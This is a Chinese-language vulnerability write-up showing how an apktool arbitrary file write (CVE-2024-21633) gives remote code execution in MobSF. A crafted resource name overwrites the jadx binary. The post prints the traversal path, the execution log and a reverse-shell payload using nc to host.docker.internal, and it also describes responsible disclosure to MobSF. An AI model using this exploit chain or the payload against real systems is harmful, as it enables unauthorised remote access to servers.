MobSF 远程代码执行（通过 CVE-2024-21633）

我在 apktool 中发现了一个任意文件写入漏洞，并通过 GitHub 安全公告报告了该漏洞。我知道许多项目都依赖或依赖于 apktool，但在安全公告发布和修复之后，似乎很少有人注意到或关心它。我决定在一些大型依赖项目中检查其影响和可利用性，于是首先从 MobSF 开始。

该漏洞允许我们在相对于“${decode target path}/res/”的路径上写入任何内容，最大的影响是获得 RCE。但有一个问题：写入的文件不能被直接执行。

在深入之前，我有两个想法：

我们可以尝试覆盖 shell 初始化文件，如 .bashrc/.zshrc 等，但这要求“decode target path”位于用户文件夹下，这样我们就可以定位到类似“../../.bashrc”的路径；或者我们需要知道（或暴力破解）用户名，从而得到类似“../../../../username/.bashrc”的目标。一个有利条件是，应用程序可以有 0xFFFF（65536）种不同的原始资源名称，因为资源 ID 看起来像 0x7F0B1234（1 字节包标识符，通常为 0x7F；1 字节类型标识符，如 raw、drawable；2 字节资源标识符）。在我们的场景中，如果假设 MobSF 运行在 Docker 中，我们已经知道用户名为 MobSF。然而，覆盖文件后，我们必须等待 shell 被打开，这并不确定。
创建一个定时任务来运行恶意脚本，需要应用程序具有 root 权限。

但如果我们足够幸运，恰好有一个应用程序会将文件权限变为可执行呢？更幸运的是之后还会运行它？而且这一切都必须在 apktool 执行之后发生。这正是 MobSF 的情况。MobSF 在其静态分析过程中使用 jadx，通过子进程调用 jadx，但在此之前它会将 jadx 的权限更改为可执行。

日志摘录显示了 apktool、chmod 和 jadx 被调用的顺序：

[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

我们将以 jadx 作为目标，但需要知道 jadx 相对于 res 文件夹的路径。我们可以通过 Python 的 os.path.relpath() 函数得到该路径。

我们的资源基础文件夹是 "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

我们想要覆盖 jadx 二进制文件，其路径为："/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

我们的有效载荷将放在 res/raw/jadx 中

#!/bin/bash
nc host.docker.internal 9001 -e sh

资源名称将为 "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" resources 上传 APK 并等待 jadx 执行，我们将在 nc 监听器上获得一个 shell。 upload 宾果！ reverse-shell

我随后通过电子邮件向 MobSF 团队报告了此问题，他们迅速回复并通过更新到更新的 apktool 版本进行了修复，但将 jadx 设置为可执行并随后运行的行为仍然存在。我更希望提前设置好权限为只读，并保持目录不可写。

关注更多！@0x33c0unt

CVE-2024-21633

最受欢迎

MobSF 远程代码执行（通过 CVE-2024-21633）